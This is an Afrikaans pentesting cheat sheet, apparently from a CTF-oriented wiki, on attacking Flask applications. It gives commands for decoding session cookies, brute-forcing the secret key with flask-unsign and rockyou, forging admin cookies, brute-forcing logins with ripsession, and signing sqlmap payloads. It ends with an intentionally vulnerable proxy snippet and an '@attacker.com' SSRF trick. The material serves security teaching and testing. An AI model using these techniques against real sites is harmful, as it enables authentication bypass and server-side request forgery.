**Waarskynlik as jy 'n CTF speel, sal 'n Flask-toepassing verband hou met** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**
## Koekies
Die standaard koekie sessienaam is **`session`**.
### Dekodeerder
Aanlyn Flask koekies dekodeerder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
#### Handmatig
Kry die eerste deel van die koekie tot by die eerste punt en Base64 dekodeer dit.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Die koekie is ook onderteken met 'n wagwoord
### **Flask-Unsign**
Opdraglyn hulpmiddel om sessiekoekies van 'n Flask-toepassing te verkry, te dekodeer, te brute-force en te vervaardig deur geheime sleutels te raai.
{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Dekodeer Koekie**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval
```
#### **Teken**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Ondertekening met behulp van ouer (ouditie) weergawe
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**
Opdraglyn hulpmiddel om webwerwe te brute-force met behulp van koekies wat met flask-unsign gemaak is.
{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi in Flask sessie koekie met SQLmap
[**Hierdie voorbeeld**](../../pentesting-web/sql-injection/sqlmap/#eval) gebruik sqlmap `eval` opsie om **automaties sqlmap payloads** vir flask te teken met 'n bekende geheim.
## Flask Proxie na SSRF
[**In hierdie skrywe**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) word verduidelik hoe Flask 'n versoek toelaat wat begin met die karakter "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
In watter van die volgende scenario:
```python
from flask import Flask
from requests import get
app = Flask('__main__')
SITE_NAME = 'https://google.com/'
@app.route('/', defaults={'path': ''})
@app.route('/')
def proxy(path):
return get(f'{SITE_NAME}{path}').content
app.run(host='0.0.0.0', port=8080)
```
Kan toelaat om iets soos "@attacker.com" in te voer om 'n **SSRF** te veroorsaak.
